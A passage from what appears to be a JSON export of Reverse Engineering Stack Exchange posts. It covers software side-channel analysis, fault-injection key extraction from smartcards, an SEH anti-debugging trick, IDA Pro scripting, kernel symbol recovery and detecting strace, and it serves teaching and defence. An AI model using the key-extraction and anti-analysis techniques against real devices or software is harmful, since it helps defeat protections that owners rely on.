understand it quickly, we can consider it as a black-box and think about using a side-channels technique to guess the enclosed data through a guided trial and error technique.</p>\n<p>The list of side-channels available in software reverse-engineering is much longer than the one we have in hardware. Because it enclose the previous list and add some new channels such as (non exhaustive list):</p>\n<ul>\n<li><p><strong>Instruction Count</strong>: Allow to identify different behaviors depending on the input.</p>\n</li>\n<li><p><strong>Read/Write Count</strong>: Same as above, with more possibilities to identify patterns because it includes also instruction read.</p>\n</li>\n<li><p><strong>Raised Interrupt Count</strong>: Depending on what type of interrupt is raised, when and how, you might identify different behaviors and be able to determined the good path to your goal.</p>\n</li>\n<li><p><strong>Accessed Instruction Addresses</strong>: Allow to rebuild the parts of the program that are active at a precise moment.</p>\n</li>\n<li><p><strong>Accessed Memory Addresses</strong>: Allow to rebuild data pattern or complex data-structure stored or accessed in memory (eg. in the heap).</p>\n</li>\n</ul>\n<p>This list is far from being exhaustive, but basically tools such as Valgrind VM or others can be used to perform such analysis and quickly deduce information about the behavior of a given program, thus speeding up the reverse-engineering.</p>\n<h2>Obfuscation and Possible Counter-measures</h2>\n<p>Trying to build a software which will be resistant to such attacks will borrow also a lot from the smart-card industry. But, not only. Here are a few tricks, I could think of (but far from being complete about all we can find).</p>\n<h3>Armoring Program Branches</h3>\n<p>The instruction count is extremely efficient to detect which branch has been taken in code like this:</p>\n<pre><code>if (value)\n   ret = foo();\nelse \n   ret = bar();\n</code></pre>\n<p>With <code>foo()</code> and <code>bar()</code> having different instruction count.</p>\n<p>This can be defeated by executing <code>foo()</code> and <code>bar()</code> whatever <code>value</code> is and deciding afterward what is the value of <code>ret</code>.</p>\n<pre><code>tmp_foo = foo();\ntmp_bar = bar();\nif (value)\n  ret = tmp_foo;\nelse\n  ret = tmp_bar;\n</code></pre>\n<p>This technique render your program much more difficult to guess from a side-channel attack, but also much less efficient. One has to find a proper trade-off.</p>\n<h3>Countering Timing Attacks</h3>\n<p>Timing attacks are extremely easy to perform and difficult to workaround because <code>sleep()</code> cannot be an option (too easy to detect in a code and, anyway you cannot assume a specific speed for the processor). The programmer has to identify the execution time of each branch of his program and to <em>balance</em> each branch with extra non-useful operations which are of the same computational power than the ones from the other branchs. The point being to render each branch indistinguishable from the others only based on the execution time.</p>\n<h3>Threading Madness</h3>\n<p>Another way to dilute the side-channel is to massively multi-thread your program. Imagine that each branch of your program is executed in a separate thread, and one variable tell in which thread the current program really is (if possible in a cryptic manner). Then side-channel analysis will be much more difficult to perform.</p>\n<h2>Conclusion and Further Research</h2>\n<p>Side-channel attacks has been widely under-estimated for software reverse-engineering, it can drastically speed-up the reverse of many programs. But, in the same time, obfuscation techniques exists and have to be developed specifically targeting software reverse-engineering. So, don't be surprised if you see more and more novelties related to this field.</p>\n"
    },
    {
        "Id": "1898",
        "CreationDate": "2013-04-22T19:32:17.807",
        "Body": "<p>Trying to extract data from the hardware is often quite difficult (especially when dealing with smartcards). Fault-injection attacks allow to guess cryptographic keys based on the propagation of errors through the encryption/decryption algorithm. I know some of the types of fault-injections possible, but not all.</p>\n\n<ul>\n<li>What are the different types of fault-injections possible?</li>\n<li>Do the different types of techniques offer any special advantages?</li>\n</ul>\n",
        "Title": "What is fault-injection reverse engineering? What are the techniques involved?",
        "Tags": "|hardware|physical-attacks|smartcards|",
        "Answer": "<h3>Fault Injection Attacks</h3>\n<p>Basically, we assume here that we have a black-box that produces an output using a known algorithm but with some unknown parameters. In the case of cryptography, the black-box could be a chip on a smart-card, the know algorithm could be a cryptographic algorithm and the unknown parameters would be the key of the algorithm which lies hidden in the chip (and never go out).</p>\n<p>In this particular setting, we can perform what we call a '<em>chosen clear-text attack</em>', meaning that we can choose the inputs of the black-box and look at the output. But, lets also suppose that this is not enough to guess the unknown parameters (the key). So, we need a bit more to help us.</p>\n<p>Our second assumption will be that we are able to introduce errors at specific chosen phase of the known algorithm. Usually, when speaking about smart-cards, it means that we have a physical setup with a very precise timer linked to the smart-card clock and a laser targeting a physical register on the chip. Beaming up the register with the laser, usually reset the register (or may introduce some random values).</p>\n<p>The point of fault-injection is thus to study the effect of the injected fault on the cipher algorithm and to deduce some information about the value of the key.</p>\n<p>Depending on the cipher algorithm used in the chip, the most interesting bits to reset in order to maximize the information collected about the key may vary a lot because the propagation of the error is not the same depending on the computation performed. So, each cipher algorithm need to be studied first, in order to know the best way to proceed in order to extract the key.</p>\n<h3>Types of Fault-injection Attacks</h3>\n<p>The different types of fault-injection analysis depends mainly on the accuracy with which you can control the error that you introduce (from the easiest to the most difficult):</p>\n<ul>\n<li><strong>Fully controlled error</strong>: We suppose that we have a full control on the error. Basically, we can choose what is the content of the register and when to introduce the error in the algorithm.</li>\n<li><strong>Known error</strong>: We suppose that we have a partial control on the error. Meaning that we know where it has been introduced and we know what is written in the register but we cannot choose it in advance.</li>\n<li><strong>Unknown error</strong>: We know exactly where, in the algorithm, the error has been introduced but we cannot control what is written nor have a knowledge of what has been written in the register.</li>\n<li><strong>Fully uncontrolled error</strong>: We have no exact knowledge of what is written nor when it has been introduced in the algorithm.</li>\n</ul>\n<h3>Counter-measures</h3>\n<p>Countering fault-injection is, in fact, quite easy but costly. You only need to duplicate the circuits and check that the two circuits gives the same output when finished. If not, you just have to issue an error without leaking any information.</p>\n<p>Of course, in the case of a '<em>fully controlled error</em>' attack, one can just duplicate the laser beam as well. But, usually, the '<em>fully controlled error</em>' attack is an ideal case that is almost never reached in practice.</p>\n<p>More difficult to work around, in the case of the '<em>known error</em>' attack, you can use the output of the chip (<code>output</code> / <code>error</code>) to guess the content of any register you want. You just need to perform attacks always on the same input until you get a normal <code>output</code>, then you can store what you wrote on the register. And, thus, rebuild the value of the key.</p>\n<p>Anyway, the cost of circuit redundancy on a chip is quite high, both in money and power-consumption. So, not all the chips can be equipped with this.</p>\n<h3>Other Related Attacks and Conclusion</h3>\n<p>These attacks have to be compared (or combined) with '<em>side-channel attack</em>'. Both attacks have a different approaches and use different assumptions on what is possible or not. Combining them allow to get way further in extracting information about the device that you study.</p>\n<p>Talking now about <strong>software reverse engineering</strong>, I do not know any practical use of fault injection attack nowadays. But, I'm pretty confident that you can use this technique to guess the parameters of a know algorithm that has been obfuscated without having to dissect it in details. Somehow, any debugger can rewrite a register at precise time in the program (breakpoints) with a full control of what is written in the register (we are here in the case of the '<em>fully controlled error</em>' attack). So, this can certainly be used in the case of usual obfuscated programs.</p>\n"
    },
    {
        "Id": "1899",
        "CreationDate": "2013-04-22T19:50:47.310",
        "Body": "<p>Are there any good resources for developing debugger plugins in IDA Pro using the SDK that describe the IDA debugger API? An example of this is the <a href=\"http://sourceforge.net/projects/idaproarmdebug/\">IDA Pro ARM debugger plugin</a> on Sourceforge. There seem to be few projects that have accomplished this. Specifically, how do you make a plugin in IDA which registers itself as one of the available debuggers and allows stepping through the IDA database while controlling a target? </p>\n",
        "Title": "Creating IDA Pro debugger plugins - API documentation and examples?",
        "Tags": "|ida|debuggers|ida-plugin|",
        "Answer": "<p>None of the answers so far answer the actual question so here goes.</p>\n\n<p>A debugger plugin differs from a \"normal\" one in two points:</p>\n\n<ol>\n<li>it has <code>PLUGIN_DBG</code> in the plugin's flags.</li>\n<li>in init(), it must set the global variable <code>dbg</code> to a pointer to an implementation of <code>debugger_t</code> structure. See <code>idd.hpp</code> for the definition.</li>\n</ol>\n\n<p>For examples, see <code>plugins/debugger</code> in the SDK, and also the recently updated <a href=\"https://github.com/wjp/idados\"><code>idados</code> plugin</a>. Warning: making debugger plugins is not for the faint of heart.</p>\n"
    },
    {
        "Id": "1902",
        "CreationDate": "2013-04-22T21:30:23.277",
        "Body": "<p>How comes that text diffing tools like <code>diff</code>, <code>kdiff3</code> or even more complex ones usually fail at highlighting the differences between two disassemblies in textual form - in particular two <em>related</em> binary executable files such as different versions of the same program?</p>\n\n<p>This is the question <a href=\"https://reverseengineering.stackexchange.com/users/107/gilles\">Gilles</a> asked <a href=\"https://reverseengineering.stackexchange.com/questions/1879/\">over here</a> in a comment:</p>\n\n<blockquote>\n  <p>Why is diff/meld/kdiff/... on the disassembly not satisfactory?</p>\n</blockquote>\n\n<p>I thought this question deserves an answer, <a href=\"http://blog.stackoverflow.com/2011/07/its-ok-to-ask-and-answer-your-own-questions/\">so I'm giving an answer Q&amp;A style</a>, because it wouldn't fit into a 600 character comment for some strange reason ;)</p>\n\n<p><strong>Please don't miss out on <a href=\"https://reverseengineering.stackexchange.com/a/1907/245\">Rolf's answer</a>, though!</strong></p>\n",
        "Title": "Why are special tools required to ascertain the differences between two related binary code files?",
        "Tags": "|tools|disassembly|assembly|bin-diffing|",
        "Answer": "<p>One of things I do is to read the machine code and translate it back into IR pseudo opcodes sans any addressing address values, and then perform differences between those two pseudo-IR binaries after using this reduction method on each.  </p>\n"
    },
    {
        "Id": "1906",
        "CreationDate": "2013-04-22T23:19:41.360",
        "Body": "<p>IDA Pro allows plugins to receive notifications for a number of events. These are defined in the <code>hook_type_t</code> enumeration inside <code>loader.hpp</code> in the SDK from what I saw. If I subscribe to <code>HT_IDB</code> events, I have a host of options for notifications I can subscribe to (<code>event_code_t</code> in <code>idp.hpp</code>).</p>\n\n<p>Now, if I wanted to patch up <a href=\"http://sourceforge.net/projects/collabreate/\" rel=\"nofollow\">collabREate</a> by Chris Eagle to support anterior and posterior comments - how would I go about that?</p>\n\n<p>colleabREate is a very useful piece of software, but in real collaboration scenarios these issues turn out to be real shortcomings.</p>\n\n<p><strong>In short: how can I receive notifications to events in my plugin which Hex-Rays doesn't make available through the SDK as of yet?</strong></p>\n",
        "Title": "How can my plugin get notified of anterior or posterior comments (and more) changes to an IDA database?",
        "Tags": "|ida|ida-plugin|idapro-sdk|",
        "Answer": "<p>From <a href=\"https://www.hex-rays.com/products/ida/6.4/index.shtml\">IDA 6.4 news</a>:</p>\n\n<pre><code>+ SDK: added extra_cmt_changed IDB event for the anterior/posterior comment changes;\n also renamed the SDK functions related to these comments\n</code></pre>\n"
    },
    {
        "Id": "1909",
        "CreationDate": "2013-04-23T07:21:57.103",
        "Body": "<p>This is a very naive question about IDA Pro. Once the IDA debugger started, I would like to be able to type a memory address (or a memory zone) and look easily at the content of it (in various format). With <code>gdb</code> you would do <code>print /x *0x80456ef</code> or, if you want a wider zone, <code>x /6x 0x80456ef</code>.</p>\n\n<p>So, what is the best way to display the memory content from the IDA debugger ?</p>\n",
        "Title": "How to display memory zones content on IDA Pro?",
        "Tags": "|tools|ida|",
        "Answer": "<p>You can also position your cursor in one of the code, hex-view, or stack view windows, and press 'g' to bring up the \"jump to address\" dialog.</p>\n"
    },
    {
        "Id": "1911",
        "CreationDate": "2013-04-23T12:31:29.360",
        "Body": "<p>In a 32 bits Windows binary, I see this code:</p>\n\n<pre><code>    push next\n    push fs:[0]\n    mov fs:[0], esp\n    int3\n    ...\nnext:\n</code></pre>\n\n<p>I see that something happens on the <code>int3</code> (an error), but I don't understand why, and how to follow execution while keeping control.</p>\n",
        "Title": "What's 'fs:[0]' doing and how can I execute it step by step?",
        "Tags": "|windows|x86|seh|",
        "Answer": "<h1>TL;DR</h1>\n\n<ol>\n<li><p>the first 3 lines set an exception handler (an 'error catcher')</p></li>\n<li><p>the <code>int3</code> generates an exception</p></li>\n<li><p>execution resumes at <code>next</code></p></li>\n</ol>\n\n<hr>\n\n<h1>Explanation</h1>\n\n<p>this trick is (ab)using <a href=\"http://www.microsoft.com/msj/0197/exception/exception.aspx\" rel=\"noreferrer\">Structured Exception Handling</a>, a mechanism to define exception handlers, typically by compilers when <code>try</code>/<code>catch</code> blocks are used.</p>\n\n<p>In 32bits versions of Windows, they can be set on the fly, without any pre-requirement (unless the binary is compiled with /SafeSEH).</p>\n\n<p>The first element of the exception handlers' chain is pointed by the first member of the <a href=\"http://en.wikipedia.org/wiki/Win32_Thread_Information_Block\" rel=\"noreferrer\">Thread Information Block (TIB)</a>, in turn a member of the <a href=\"http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Thread/TEB.html\" rel=\"noreferrer\">Thread Environment Block (TEB)</a>, which is pointed to by <code>fs:0</code> (which is also reachable 'directly' - via something like <code>ds:7efdd00</code>, depending on the OS version etc)</p>\n\n<p>So here is what happens:</p>\n\n<ol>\n<li><p>the first two <code>push</code> reserve stack space for the structure <code>_EXCEPTION_REGISTRATION_RECORD</code>.</p>\n\n<ol>\n<li>the new top handler</li>\n<li>the previous top handler, which was until now at <code>fs:[0]</code></li>\n</ol></li>\n<li><p>the <code>mov</code> sets the current stack position as the new structure. When an exception happens, <code>next</code> will be now the first called handler.</p></li>\n<li><p><code>int3</code> triggers an exception instantaneously (there are many other kinds of <a href=\"http://seh.corkami.com\" rel=\"noreferrer\">exception triggers</a>).</p></li>\n<li><p>as an exception is triggered, Windows dispatches the exception to the first handler, and the next one if it's not handled, until one of them has handled it.</p></li>\n</ol>\n\n<p><img src=\"https://raw.githubusercontent.com/angea/wiki_old/master/pics/seh_flowchart.png\" alt=\"flowchart of Exception handling\"></p>\n\n<h1>Following execution</h1>\n\n<p>This is done here under OllyDbg 1.10. YMMV.</p>\n\n<p>As we want to go through exceptions ourselves, we have to ask OllyDbg not to handle them:</p>\n\n<ol>\n<li><p>go to debugging options: <kbd>Alt</kbd>-<kbd>O</kbd>, tab <code>Exceptions</code></p></li>\n<li><p>unselect <code>INT3 breaks</code></p></li>\n</ol>\n\n<p>And when an exception is triggered, we have to enforce that execution is done via exceptions (see below).</p>\n\n<p>Here are 3 methods of increasing level to follow the exception handling execution safely:</p>\n\n<h2>step by step: set a breakpoint manually</h2>\n\n<p>As the handler has just been set on the stack, you can manually set a breakpoint then run.</p>\n\n<ol>\n<li><p>select the new handler address on the stack</p>\n\n<p><img src=\"https://i.stack.imgur.com/QQQOQ.png\" alt=\"new handler on the stack\"></p></li>\n<li><p>Right-click or <kbd>F10</kbd></p>\n\n<ul>\n<li>select <code>Follow in Dump</code></li>\n</ul></li>\n<li><p>in the dump window, open the menu (same shortcut)</p>\n\n<ul>\n<li>select <code>BreakPoint</code>, then <code>Hardware, on execution</code></li>\n</ul></li>\n<li><p>Execute: menu <code>Debug/Run</code> / shortcut <kbd>F9</kbd> / command-line <code>g</code></p></li>\n<li><p>Exceptions will be triggered</p></li>\n<li><p>Execute with exception handling: shortcut <kbd>Shift</kbd>-<kbd>F9</kbd> / command-line <code>ge</code>.</p></li>\n</ol>\n\n<h2>shortcut: execute until exception handler via command-line</h2>\n\n<ul>\n<li><p>as the address is on the stack, the easiest way is to type via the command line <code>ge [esp+4]</code>, which means, <code>Go with Exceptions</code>, until the 2nd address on the stack is encountered. Thus, no need to set and unset a breakpoint.</p>\n\n<ul>\n<li>in the case of a more complex example, where the address might not be obvious on the stack anymore, then the absolute formula would be <code>ge ds:[fs:[0]+4]</code>, which just gets the actual address from the TIB.</li>\n</ul></li>\n</ul>\n\n<h2>keeping full control: break on <code>KiUserExceptionDispatcher</code></h2>\n\n<p><code>KiUserExceptionDispatcher</code> is the Windows API handling all user-mode exceptions. Setting a breakpoint there guarantees that you keep full control - but then, you're in the middle of a Windows API ;) </p>\n\n<p>In this case, you can ask OllyDbg to skip exceptions, as you will still break execution manually in any cases. You might also want to combine that with a <a href=\"http://tuts4you.com/download.php?list.53\" rel=\"noreferrer\">script</a>.</p>\n\n<p>Of course, some advanced code might check that you set a breakpoint on it before triggering an exception.</p>\n"
    },
    {
        "Id": "1918",
        "CreationDate": "2013-04-24T09:28:24.673",
        "Body": "<p>I would like IDA to remember my default load file settings instead of presenting the <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/242.shtml\" rel=\"noreferrer\">load file</a> dialog on every start. \n<a href=\"https://www.hex-rays.com/products/ida/support/idadoc/417.shtml\" rel=\"noreferrer\">The documentation says</a> there is a <strong>-T</strong> command line switch that should take a 'file type prefix' argument and then not display the load file dialog, but I don't know what a valid 'file type prefix' would be. I tried -TPE but a warning popped up saying 'PE' was not recognized. </p>\n\n<p>Any suggestions?</p>\n",
        "Title": "How to avoid the load file dialog in IDA GUI",
        "Tags": "|ida|",
        "Answer": "<p>It expects the (beginning of the) actual type description (like <code>Portable executable for 80386 (PE)</code>), not the name of the loader plugin (like <code>pe.ldw</code>), because a loader plugin can generate different types.</p>\n\n<p>So in the case of a Windows PE, any of these should work:</p>\n\n<ul>\n<li><code>-T\"Portable executable for 80386 (PE)\"</code></li>\n<li><code>-TPortable</code></li>\n<li><code>-TP</code> (as the other types for a PE are likely starting with <code>Binary</code>, <code>Microsoft</code> or <code>MS-DOS</code>)</li>\n</ul>\n"
    },
    {
        "Id": "1922",
        "CreationDate": "2013-04-24T16:47:09.463",
        "Body": "<p>Igor posted a great <a href=\"https://stackoverflow.com/a/14811668/139463\">answer</a> previously on SO about the format of the Linux kernel image on ARM.</p>\n\n<p>Assuming I can't boot my kernel image, can someone give me pointers on finding this compressed symbol table in the binary?  </p>\n",
        "Title": "Locating Linux Kernel Symbols on ARM",
        "Tags": "|linux|arm|",
        "Answer": "<p>After decompressing and loading the kernel, you need to find a couple of tables that encode the compressed symbol table. These are (in the usual order they are placed in binary):</p>\n\n<ul>\n<li><code>kallsyms_addresses</code> - a table of addresses to all public symbols in the kernel</li>\n<li><code>kallsyms_num_syms</code> - not a table but just an integer with total number of symbols (should match previous table)</li>\n<li><code>kallsyms_names</code> - a list of length-prefixed byte arrays that encode indexes into the token table</li>\n<li><code>kallsyms_token_table</code> - a list of 256 zero-terminated tokens from which symbol names are built</li>\n<li><code>kallsyms_token_index</code> - 256 shorts pointing to the corresponding entry in <code>kallsyms_token_table</code></li>\n</ul>\n\n<p>They're not hard to find with some experience. A good way to find the first one is to look for several 0xC0008000 values in a row, because a typical kernel symbol table starts like this:</p>\n\n<pre><code>C0008000 T __init_begin\nC0008000 T _sinittext\nC0008000 T _stext\nC0008000 T stext\n</code></pre>\n\n<p>After locating the tables the symbol recovery is trivial. I made a script for IDA that does it automatically, you can find it <a href=\"http://www.hexblog.com/?p=130\">here</a> (<code>kallsyms.py</code> in the tools zip).</p>\n\n<p>For more the details of how it's implemented in the kernel, see <code>kernel/kallsyms.c</code>.</p>\n"
    },
    {
        "Id": "1929",
        "CreationDate": "2013-04-25T06:30:29.873",
        "Body": "<p>I want to use IDA with the Hex-Rays decompiler plugin as part of automated static analysis, possibly on a large number of files without opening each one and telling it to produce a C file individually.  </p>\n\n<p>Ideally, I'd like to run IDA from the command line, and get the decompilation based on initial autoanalysis as output.  This way I can run it as part of <a href=\"http://sourceforge.net/projects/mastiff/\">Mastiff</a> or grep for certain functions in a set of binaries.   By my reading of <a href=\"http://www.hexblog.com/?p=53\">On batch analysis</a> from the Hex Blog, what I need is an IDA script that interacts with the decompiler plugin, but I can't figure out how to actually do so. </p>\n\n<p>So this leaves me with 2 subquestions:</p>\n\n<ul>\n<li>How can I tell the Hex-Rays decompiler to \"Produce C file\" (decompile all functions) from a script?</li>\n<li>Does that script need to be IDC, or is IDAPython possible?</li>\n</ul>\n",
        "Title": "How can I control the Hex-Rays decompiler plugin from IDA with scripts?",
        "Tags": "|ida|ida-plugin|idapython|",
        "Answer": "<p>[Back in 2013] the decompiler did not have a scripting API. So you had these choices:</p>\n\n<ul>\n<li><a href=\"http://www.hexblog.com/?p=126\" rel=\"nofollow\">Add necessary functions to IDC</a> using a native plugin that calls the decompiler API.</li>\n<li>Use <code>ctypes</code> or similar to call the C++ API directly from Python. I posted a small PoC script doing it to the Hex-Rays forum a couple years ago.</li>\n<li>If you just want to have the decompiled text, you can use <a href=\"https://www.hex-rays.com/products/decompiler/manual/batch.shtml\" rel=\"nofollow\">the command line option</a>.</li>\n</ul>\n\n<p><a href=\"https://www.hex-rays.com/products/ida/6.6/index.shtml\" rel=\"nofollow\">IDA 6.6 (released in June 2014)</a> added official Python bindings for the decompiler, so it now can be scripted from Python. For sample code, see <code>vds*.py</code> scripts in the <a href=\"https://github.com/idapython/src/tree/master/examples\" rel=\"nofollow\">IDAPython repository</a>.</p>\n"
    },
    {
        "Id": "1930",
        "CreationDate": "2013-04-25T08:07:47.923",
        "Body": "<p>Under Linux it's possible to trace exactly the kernel system calls with <code>strace</code>.\n<code>ltrace</code> can be used also to trace library calls.\nI wonder if it's possible to detect if my executable is running under <code>strace</code> or <code>ltrace</code> ?</p>\n\n<p>Here's an example of the output of <code>strace</code> and <code>ltrace</code> for the <code>diff</code> executable.</p>\n\n<p><strong>strace</strong> </p>\n\n<pre><code>$ strace diff\nexecve(\"/usr/bin/diff\", [\"diff\"], [/* 43 vars */]) = 0\nbrk(0)                                  = 0x110a000\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nmmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc13f6000\naccess(\"/etc/ld.so.preload\", R_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/etc/ld.so.cache\", O_RDONLY|O_CLOEXEC) = 3\nfstat(3, {st_mode=S_IFREG|0644, st_size=122500, ...}) = 0\nmmap(NULL, 122500, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcbc13d8000\nclose(3)                                = 0\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/lib/x86_64-linux-gnu/librt.so.1\", O_RDONLY|O_CLOEXEC) = 3\nread(3, \"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0&gt;\\0\\1\\0\\0\\0\\340!\\0\\0\\0\\0\\0\\0\"..., 832) = 832\nfstat(3, {st_mode=S_IFREG|0644, st_size=31784, ...}) = 0\nmmap(NULL, 2129016, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcbc0fce000\nmprotect(0x7fcbc0fd5000, 2093056, PROT_NONE) = 0\nmmap(0x7fcbc11d4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7fcbc11d4000\nclose(3)                                = 0\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/lib/x86_64-linux-gnu/libc.so.6\", O_RDONLY|O_CLOEXEC) = 3\nread(3, \"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0&gt;\\0\\1\\0\\0\\0\\200\\30\\2\\0\\0\\0\\0\\0\"..., 832) = 832\nfstat(3, {st_mode=S_IFREG|0755, st_size=1811160, ...}) = 0\nmmap(NULL, 3925240, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcbc0c0f000\nmprotect(0x7fcbc0dc4000, 2093056, PROT_NONE) = 0\nmmap(0x7fcbc0fc3000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b4000) = 0x7fcbc0fc3000\nmmap(0x7fcbc0fc9000, 17656, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fcbc0fc9000\nclose(3)                                = 0\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/lib/x86_64-linux-gnu/libpthread.so.0\", O_RDONLY|O_CLOEXEC) = 3\nread(3, \"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0&gt;\\0\\1\\0\\0\\0\\200l\\0\\0\\0\\0\\0\\0\"..., 832) = 832\nfstat(3, {st_mode=S_IFREG|0755, st_size=135398, ...}) = 0\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc13d7000\nmmap(NULL, 2212936, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcbc09f2000\nmprotect(0x7fcbc0a0a000, 2093056, PROT_NONE) = 0\nmmap(0x7fcbc0c09000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17000) = 0x7fcbc0c09000\nmmap(0x7fcbc0c0b000, 13384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fcbc0c0b000\nclose(3)                                = 0\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc09f1000\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc09f0000\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc09ef000\narch_prctl(ARCH_SET_FS, 0x7fcbc09f0700) = 0\nmprotect(0x7fcbc0fc3000, 16384, PROT_READ) = 0\nmprotect(0x7fcbc0c09000, 4096, PROT_READ) = 0\nmprotect(0x7fcbc11d4000, 4096, PROT_READ) = 0\nmprotect(0x61b000, 4096, PROT_READ)     = 0\nmprotect(0x7fcbc13f8000, 4096, PROT_READ) = 0\nmunmap(0x7fcbc13d8000, 122500)          = 0\nset_tid_address(0x7fcbc09f09d0)         = 32425\nset_robust_list(0x7fcbc09f09e0, 0x18)   = 0\nfutex(0x7fff27e5992c, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 7fcbc09f0700) = -1 EAGAIN (Resource temporarily unavailable)\nrt_sigaction(SIGRTMIN, {0x7fcbc09f8750, [], SA_RESTORER|SA_SIGINFO, 0x7fcbc0a01cb0}, NULL, 8) = 0\nrt_sigaction(SIGRT_1, {0x7fcbc09f87e0, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fcbc0a01cb0}, NULL, 8) = 0\nrt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0\ngetrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0\nbrk(0)                                  = 0x110a000\nbrk(0x112b000)                          = 0x112b000\nopen(\"/usr/lib/locale/locale-archive\", O_RDONLY|O_CLOEXEC) = 3\nfstat(3, {st_mode=S_IFREG|0644, st_size=7216624, ...}) = 0\nmmap(NULL, 7216624, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcbc030d000\nclose(3)                                = 0\nsigaltstack({ss_sp=0x61c5e0, ss_flags=0, ss_size=8192}, NULL) = 0\nopen(\"/usr/share/locale/locale.alias\", O_RDONLY|O_CLOEXEC) = 3\nfstat(3, {st_mode=S_IFREG|0644, st_size=2570, ...}) = 0\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc13f5000\nread(3, \"# Locale name alias data base.\\n#\"..., 4096) = 2570\nread(3, \"\", 4096)                       = 0\nclose(3)                                = 0\nmunmap(0x7fcbc13f5000, 4096)            = 0\nopen(\"/usr/share/locale/en_US/LC_MESSAGES/diffutils.mo\", O_RDONLY) = -1 ENOENT (No such file or directory)\nopen(\"/usr/share/locale/en/LC_MESSAGES/diffutils.mo\", O_RDONLY) = -1 ENOENT (No such file or directory)\nopen(\"/usr/share/locale-langpack/en_US/LC_MESSAGES/diffutils.mo\", O_RDONLY) = -1 ENOENT (No such file or directory)\nopen(\"/usr/share/locale-langpack/en/LC_MESSAGES/diffutils.mo\", O_RDONLY) = -1 ENOENT (No such file or directory)\nrt_sigaction(SIGSEGV, {0x40b3c0, [], SA_RESTORER|SA_STACK|SA_NODEFER|SA_RESETHAND|SA_SIGINFO, 0x7fcbc0c454a0}, NULL, 8) = 0\nwrite(2, \"diff: \", 6diff: )                   = 6\nwrite(2, \"missing operand after `diff'\", 28missing operand after `diff') = 28\nwrite(2, \"\\n\", 1\n)                       = 1\nwrite(2, \"diff: \", 6diff: )                   = 6\nwrite(2, \"Try `diff --help' for more infor\"..., 39Try `diff --help' for more information.) = 39\nwrite(2, \"\\n\", 1\n)                       = 1\nexit_group(2)                           = ?\n</code></pre>\n\n<p><strong>ltrace</strong> </p>\n\n<pre><code>$ ltrace diff\n__libc_start_main(0x402310, 1, 0x7fff876fcf28, 0x4151d0, 0x415260 &lt;unfinished ...&gt;\nstrrchr(\"diff\", '/')                                             = NULL\nsetlocale(6, \"\")                                                 = \"en_US.UTF-8\"\nbindtextdomain(\"diffutils\", \"/usr/share/locale\")                 = \"/usr/share/locale\"\ntextdomain(\"diffutils\")                                          = \"diffutils\"\nsigaltstack(0x7fff876fccd0, 0, 1, 0x736c6974756666, 3)           = 0\ndcgettext(0, 0x4183d7, 5, -1, 3)                                 = 0x4183d7\ndcgettext(0, 0x4183e5, 5, 0, 1)                                  = 0x4183e5\nsigemptyset(0x7fff876fccf8)                                      = 0\nsigaction(11, 0x7fff876fccf0, NULL)                              = 0\nre_set_syntax(264966, 0x7fff876fcb88, 0, -1, 0)                  = 0\nmalloc(16)                                                       = 0x016e1160\nmemset(0x016e1160, '\\000', 16)                                   = 0x016e1160\ngetopt_long(1, 0x7fff876fcf28, \"0123456789abBcC:dD:eEfF:hHiI:lL:\"..., 0x00417360, NULL) = -1\nmalloc(1)                                                        = 0x016e1180\ndcgettext(0, 0x415598, 5, 8, 3)                                  = 0x415598\nerror(0, 0, 0x415598, 0x7fff876fd469, 1diff: missing operand after `diff'\n)                         = 0\ndcgettext(0, 0x415878, 5, 0, 0x7fad1793c700)                     = 0x415878\nerror(2, 0, 0x415878, 0x7fff876fd469, 1diff: Try `diff --help' for more information.\n &lt;unfinished ...&gt;\n+++ exited (status 2) +++\n</code></pre>\n",
        "Title": "Detecting tracing in Linux",
